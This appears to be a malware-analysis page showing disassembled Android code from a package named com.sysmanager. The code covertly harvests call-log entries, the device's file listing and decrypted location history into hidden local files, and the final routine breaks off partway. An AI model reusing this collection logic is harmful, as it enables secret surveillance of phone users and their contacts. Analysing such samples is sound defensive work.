  • java.lang.StringBuilder.toString
  • com.sysmanager.system.AndroidCallSystem.getApplicationContext
Strings
  • date DESC
  • _id
  • type
  • date
  • duration
  • number
  • name
  • yyyy-MM-dd HH:mm:ss
  • \u00a7\u00a7
  • null
  • @@
  • /cachel2/
  • Log
Position Instruction Meta Information
0.prologue
2const-string v7, "date DESC"
3const/4 v2, 0x6
4new-array v4, v2, [Ljava/lang/String;
5const/4 v2, 0x0
7const-string v3, "_id"
8aput-object v3, v4, v2
9const/4 v2, 0x1
11const-string v3, "type"
12aput-object v3, v4, v2
13const/4 v2, 0x2
15const-string v3, "date"
16aput-object v3, v4, v2
17const/4 v2, 0x3
19const-string v3, "duration"
20aput-object v3, v4, v2
21const/4 v2, 0x4
23const-string v3, "number"
24aput-object v3, v4, v2
25const/4 v2, 0x5
27const-string v3, "name"
28aput-object v3, v4, v2
30invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
31move-result-object v2
33invoke-virtual {v2}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
34move-result-object v2
36sget-object v3, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
37const/4 v5, 0x0
38const/4 v6, 0x0
40invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
41move-result-object v9
43const-string v8, ""
44if-eqz v9, :cond_1ad
46invoke-interface {v9}, Landroid/database/Cursor;->getCount()I
47move-result v2
48if-eqz v2, :cond_1ad
50invoke-interface {v9}, Landroid/database/Cursor;->moveToFirst()Z
51cond_40:
52invoke-interface {v9}, Landroid/database/Cursor;->getColumnCount()I
53move-result v2
54if-eqz v2, :cond_148
56const-string v2, "_id"
58invoke-interface {v9, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
59move-result v2
61invoke-interface {v9, v2}, Landroid/database/Cursor;->getInt(I)I
62move-result v16
64const-string v2, "type"
66invoke-interface {v9, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
67move-result v2
69invoke-interface {v9, v2}, Landroid/database/Cursor;->getInt(I)I
70move-result v21
72const-string v2, "date"
74invoke-interface {v9, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
75move-result v2
77invoke-interface {v9, v2}, Landroid/database/Cursor;->getLong(I)J
78move-result-wide v10
80const-string v2, "duration"
82invoke-interface {v9, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
83move-result v2
85invoke-interface {v9, v2}, Landroid/database/Cursor;->getLong(I)J
86move-result-wide v14
88const-string v2, "number"
90invoke-interface {v9, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
91move-result v2
93invoke-interface {v9, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
94move-result-object v19
96const-string v2, "name"
98invoke-interface {v9, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
99move-result v2
101invoke-interface {v9, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
102move-result-object v18
103new-instance v12, Ljava/text/SimpleDateFormat;
105const-string v2, "yyyy-MM-dd HH:mm:ss"
107sget-object v3, Ljava/util/Locale;->ITALIAN:Ljava/util/Locale;
109invoke-direct {v12, v2, v3}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
110new-instance v2, Ljava/lang/StringBuilder;
112invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
114invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
115move-result-object v2
117const-string v3, "\u00a7\u00a7"
119invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
120move-result-object v2
122invoke-static/range {v16 .. v16}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
123move-result-object v3
125invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
126move-result-object v2
128invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
129move-result-object v8
130new-instance v2, Ljava/lang/StringBuilder;
132invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
134invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
135move-result-object v2
137const-string v3, "\u00a7\u00a7"
139invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
140move-result-object v2
142invoke-static/range {v21 .. v21}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
143move-result-object v3
145invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
146move-result-object v2
148invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
149move-result-object v8
150new-instance v2, Ljava/lang/StringBuilder;
152invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
154invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
155move-result-object v2
157const-string v3, "\u00a7\u00a7"
159invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
160move-result-object v2
162invoke-static {v10, v11}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
163move-result-object v3
165invoke-virtual {v12, v3}, Ljava/text/SimpleDateFormat;->format(Ljava/lang/Object;)Ljava/lang/String;
166move-result-object v3
168invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
169move-result-object v2
171invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
172move-result-object v8
173new-instance v2, Ljava/lang/StringBuilder;
175invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
177invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
178move-result-object v2
180const-string v3, "\u00a7\u00a7"
182invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
183move-result-object v2
184move-object/from16 v0, p0
186invoke-virtual {v0, v14, v15}, Lcom/sysmanager/system/AndroidCallSystem;->getDurationInHourMinutesSeconds(J)Ljava/lang/String;
187move-result-object v3
189invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
190move-result-object v2
192invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
193move-result-object v8
194new-instance v2, Ljava/lang/StringBuilder;
196invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
198invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
199move-result-object v2
201const-string v3, "\u00a7\u00a7"
203invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
204move-result-object v2
205move-object/from16 v0, v19
207invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
208move-result-object v2
210invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
211move-result-object v8
212if-eqz v18, :cond_122
214const-string v2, "null"
215move-object/from16 v0, v18
217invoke-virtual {v0, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
218move-result v2
219if-eqz v2, :cond_186
220cond_122: new-instance v2, Ljava/lang/StringBuilder;
222invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
224invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
225move-result-object v2
227const-string v3, "\u00a7\u00a7"
229invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
230move-result-object v2
232invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
233move-result-object v8
234goto_135: new-instance v2, Ljava/lang/StringBuilder;
236invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
238invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
239move-result-object v2
241const-string v3, "@@"
243invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
244move-result-object v2
246invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
247move-result-object v8
248cond_148:
249invoke-interface {v9}, Landroid/database/Cursor;->moveToNext()Z
250move-result v2
251if-nez v2, :cond_40
253invoke-interface {v9}, Landroid/database/Cursor;->close()V
254new-instance v2, Ljava/lang/StringBuilder;
256invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
258invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidCallSystem;->getFilesDir()Ljava/io/File;
259move-result-object v3
261invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
262move-result-object v2
264const-string v3, "/cachel2/"
266invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
267move-result-object v2
269const-string v3, "Log"
271invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
272move-result-object v2
274invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
275move-result-object v20
276try_start_16e: new-instance v17, Ljava/io/FileOutputStream;
277const/4 v2, 0x0
278move-object/from16 v0, v17
279move-object/from16 v1, v20
281invoke-direct {v0, v1, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V
283invoke-virtual {v8}, Ljava/lang/String;->getBytes()[B
284move-result-object v2
285move-object/from16 v0, v17
287invoke-virtual {v0, v2}, Ljava/io/FileOutputStream;->write([B)V
289invoke-virtual/range {v17 .. v17}, Ljava/io/FileOutputStream;->close()V
290try_end_184: const/4 v2, 0x1
291goto_185: return v2
292cond_186: new-instance v2, Ljava/lang/StringBuilder;
294invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
296invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
297move-result-object v2
299const-string v3, "\u00a7\u00a7"
301invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
302move-result-object v2
303move-object/from16 v0, v18
305invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
306move-result-object v2
308invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
309move-result-object v8
310goto/16 :goto_135
311catch_1a0: move-exception v13
313invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
314move-result-object v2
316invoke-static {v13}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
317move-result-object v3
319invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
320goto/16 :goto_184
321cond_1ad: const/4 v2, 0x0
322goto/16 :goto_185
Cross References
APIs
  • java.io.File.<init>
  • org.json.JSONObject.<init>
  • java.io.File.isDirectory
  • java.io.File.list
  • java.io.File.getName
  • org.json.JSONObject.put
  • java.io.File.isDirectory
  • org.json.JSONObject.put
  • java.lang.StringBuilder.<init>
  • java.io.File.length
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.json.JSONObject.put
  • java.io.File.lastModified
  • java.util.Date.<init>
  • android.text.format.DateFormat.format
  • java.lang.CharSequence.toString
  • org.json.JSONObject.put
  • java.io.File.getName
  • java.lang.String.equalsIgnoreCase
  • org.json.JSONArray.<init>
  • java.lang.StringBuilder.<init>
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.getAbsolutePath
  • com.sysmanager.system.AndroidFileSystem.FileSystemSubDirReadJson
  • org.json.JSONObject.put
  • org.json.JSONArray.put
  • java.io.File.length
  • java.io.File.getName
  • org.json.JSONObject.put
  • java.io.File.isDirectory
  • org.json.JSONObject.put
  • java.lang.StringBuilder.<init>
  • java.io.File.length
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.json.JSONObject.put
  • java.io.File.lastModified
  • java.util.Date.<init>
  • android.text.format.DateFormat.format
  • java.lang.CharSequence.toString
  • org.json.JSONObject.put
  • org.json.JSONArray.put
  • com.sysmanager.system.AndroidFileSystem.getApplicationContext
Strings
  • Nome
  • Tipo
  • Directory
  • Dimensione
  • Byte
  • TimeStamp
  • dd-MM-yyyy HH:mm:ss
  • emulated
  • 0
  • /
  • File
  • lista
Position Instruction Meta Information
0.param p1, "path" # Ljava/lang/String;
1.param p2, "listaElementi" # Lorg/json/JSONArray;
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Lorg/json/JSONException;
5}
6.end annotation
7.prologue
8new-instance v6, Ljava/io/File;
10invoke-direct {v6, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
11new-instance v2, Lorg/json/JSONObject;
13invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
14try_start_a:
15invoke-virtual {v6}, Ljava/io/File;->isDirectory()Z
16move-result v7
17if-eqz v7, :cond_ba
19invoke-virtual {v6}, Ljava/io/File;->list()[Ljava/lang/String;
20move-result-object v5
22const-string v7, "Nome"
24invoke-virtual {v6}, Ljava/io/File;->getName()Ljava/lang/String;
25move-result-object v8
27invoke-virtual {v2, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
29const-string v8, "Tipo"
31invoke-virtual {v6}, Ljava/io/File;->isDirectory()Z
32move-result v7
33if-eqz v7, :cond_ad
35const-string v7, "Directory"
36goto_27:
37invoke-virtual {v2, v8, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
39const-string v7, "Dimensione"
40new-instance v8, Ljava/lang/StringBuilder;
42invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
44invoke-virtual {v6}, Ljava/io/File;->length()J
45move-result-wide v10
47invoke-static {v10, v11}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
48move-result-object v9
50invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v8
53const-string v9, "Byte"
55invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
56move-result-object v8
58invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59move-result-object v8
61invoke-virtual {v2, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
63const-string v7, "TimeStamp"
65const-string v8, "dd-MM-yyyy HH:mm:ss"
66new-instance v9, Ljava/util/Date;
68invoke-virtual {v6}, Ljava/io/File;->lastModified()J
69move-result-wide v10
71invoke-direct {v9, v10, v11}, Ljava/util/Date;-><init>(J)V
73invoke-static {v8, v9}, Landroid/text/format/DateFormat;->format(Ljava/lang/CharSequence;Ljava/util/Date;)Ljava/lang/CharSequence;
74move-result-object v8
76invoke-interface {v8}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
77move-result-object v8
79invoke-virtual {v2, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
81invoke-virtual {v6}, Ljava/io/File;->getName()Ljava/lang/String;
82move-result-object v7
84const-string v8, "emulated"
86invoke-virtual {v7, v8}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
87move-result v7
88if-eqz v7, :cond_76
89const/4 v7, 0x1
90new-array v5, v7, [Ljava/lang/String;
91const/4 v7, 0x0
93const-string v8, "0"
94aput-object v8, v5, v7
95cond_76: if-eqz v5, :cond_b6
96new-instance v0, Lorg/json/JSONArray;
98invoke-direct {v0}, Lorg/json/JSONArray;-><init>()V
99array-length v8, v5
100const/4 v7, 0x0
101goto_7f: if-ge v7, v8, :cond_b1
102aget-object v4, v5, v7
103new-instance v3, Ljava/io/File;
104new-instance v9, Ljava/lang/StringBuilder;
106invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
108invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
109move-result-object v10
111invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
112move-result-object v9
114const-string v10, "/"
116invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
117move-result-object v9
119invoke-virtual {v9, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
120move-result-object v9
122invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
123move-result-object v9
125invoke-direct {v3, v9}, Ljava/io/File;-><init>(Ljava/lang/String;)V
127invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
128move-result-object v9
130invoke-virtual {p0, v9, v0}, Lcom/sysmanager/system/AndroidFileSystem;->FileSystemSubDirReadJson(Ljava/lang/String;Lorg/json/JSONArray;)V
131add-int/lit8 v7, v7, 0x1
132goto/16 :goto_7f
133cond_ad:
134const-string v7, "File"
135goto/16 :goto_27
136cond_b1:
137const-string v7, "lista"
139invoke-virtual {v2, v7, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
140cond_b6:
141invoke-virtual {p2, v2}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
142cond_b9: return-void
143cond_ba:
144invoke-virtual {v6}, Ljava/io/File;->length()J
145move-result-wide v8
146const-wide/16 v10, 0x0
147cmp-long v7, v8, v10
148if-lez v7, :cond_b9
150const-string v7, "Nome"
152invoke-virtual {v6}, Ljava/io/File;->getName()Ljava/lang/String;
153move-result-object v8
155invoke-virtual {v2, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
157const-string v8, "Tipo"
159invoke-virtual {v6}, Ljava/io/File;->isDirectory()Z
160move-result v7
161if-eqz v7, :cond_123
163const-string v7, "Directory"
164goto_d7:
165invoke-virtual {v2, v8, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
167const-string v7, "Dimensione"
168new-instance v8, Ljava/lang/StringBuilder;
170invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
172invoke-virtual {v6}, Ljava/io/File;->length()J
173move-result-wide v10
175invoke-static {v10, v11}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
176move-result-object v9
178invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
179move-result-object v8
181const-string v9, "Byte"
183invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
184move-result-object v8
186invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
187move-result-object v8
189invoke-virtual {v2, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
191const-string v7, "TimeStamp"
193const-string v8, "dd-MM-yyyy HH:mm:ss"
194new-instance v9, Ljava/util/Date;
196invoke-virtual {v6}, Ljava/io/File;->lastModified()J
197move-result-wide v10
199invoke-direct {v9, v10, v11}, Ljava/util/Date;-><init>(J)V
201invoke-static {v8, v9}, Landroid/text/format/DateFormat;->format(Ljava/lang/CharSequence;Ljava/util/Date;)Ljava/lang/CharSequence;
202move-result-object v8
204invoke-interface {v8}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
205move-result-object v8
207invoke-virtual {v2, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
209invoke-virtual {p2, v2}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
210try_end_115: goto/16 :goto_b9
211catch_116: move-exception v1
213invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileSystem;->getApplicationContext()Landroid/content/Context;
214move-result-object v7
216invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
217move-result-object v8
219invoke-static {v7, v8}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
220goto/16 :goto_b9
221try_start_123:
222const-string v7, "File"
223try_end_125: goto/16 :goto_d7
Cross References
APIs
  • java.util.ArrayList.<init>
  • com.sysmanager.storage.FileSend.getReadableDatabase
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.ArrayList.add
  • com.sysmanager.Scontext.getContext
  • android.database.Cursor.close
Strings
  • SELECT * FROM tab2 ORDER BY _id ASC
  • _id
  • col02
  • col03
  • col04
  • col05
  • col06
  • col07
  • col08
  • col09
  • col10
  • col11
  • col12
  • col13
  • col14
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/sysmanager/storage/PositionVar;",
6">;"
7}
8.end annotation
9.prologue
10monitor-enter p0
11try_start_1: new-instance v5, Ljava/util/ArrayList;
13invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
15invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
16try_end_9: move-result-object v1
17try_start_a:
18const-string v4, "SELECT * FROM tab2 ORDER BY _id ASC"
19const/4 v6, 0x0
21invoke-virtual {v1, v4, v6}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
22move-result-object v0
23goto_11:
24invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
25move-result v6
26if-eqz v6, :cond_14d
27new-instance v3, Lcom/sysmanager/storage/PositionVar;
29invoke-direct {v3}, Lcom/sysmanager/storage/PositionVar;-><init>()V
31const-string v6, "_id"
33invoke-interface {v0, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
34move-result v6
36invoke-interface {v0, v6}, Landroid/database/Cursor;->getInt(I)I
37move-result v6
39invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setId(I)V
41invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
42move-result-object v6
44const-string v7, "col02"
46invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
47move-result v7
49invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
50move-result-object v7
52invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
53move-result-object v6
55invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setLat(Ljava/lang/String;)V
57invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
58move-result-object v6
60const-string v7, "col03"
62invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
63move-result v7
65invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
66move-result-object v7
68invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
69move-result-object v6
71invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setLon(Ljava/lang/String;)V
73invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
74move-result-object v6
76const-string v7, "col04"
78invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
79move-result v7
81invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
82move-result-object v7
84invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
85move-result-object v6
87invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setPos(Ljava/lang/String;)V
89invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
90move-result-object v6
92const-string v7, "col05"
94invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
95move-result v7
97invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
98move-result-object v7
100invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
101move-result-object v6
103invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setSpeed(Ljava/lang/String;)V
105invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
106move-result-object v6
108const-string v7, "col06"
110invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
111move-result v7
113invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
114move-result-object v7
116invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
117move-result-object v6
119invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setAcc(Ljava/lang/String;)V
121invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
122move-result-object v6
124const-string v7, "col07"
126invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
127move-result v7
129invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
130move-result-object v7
132invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
133move-result-object v6
135invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setAlt(Ljava/lang/String;)V
137invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
138move-result-object v6
140const-string v7, "col08"
142invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
143move-result v7
145invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
146move-result-object v7
148invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
149move-result-object v6
151invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setTimestamp(Ljava/lang/String;)V
153invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
154move-result-object v6
156const-string v7, "col09"
158invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
159move-result v7
161invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
162move-result-object v7
164invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
165move-result-object v6
167invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setCity(Ljava/lang/String;)V
169invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
170move-result-object v6
172const-string v7, "col10"
174invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
175move-result v7
177invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
178move-result-object v7
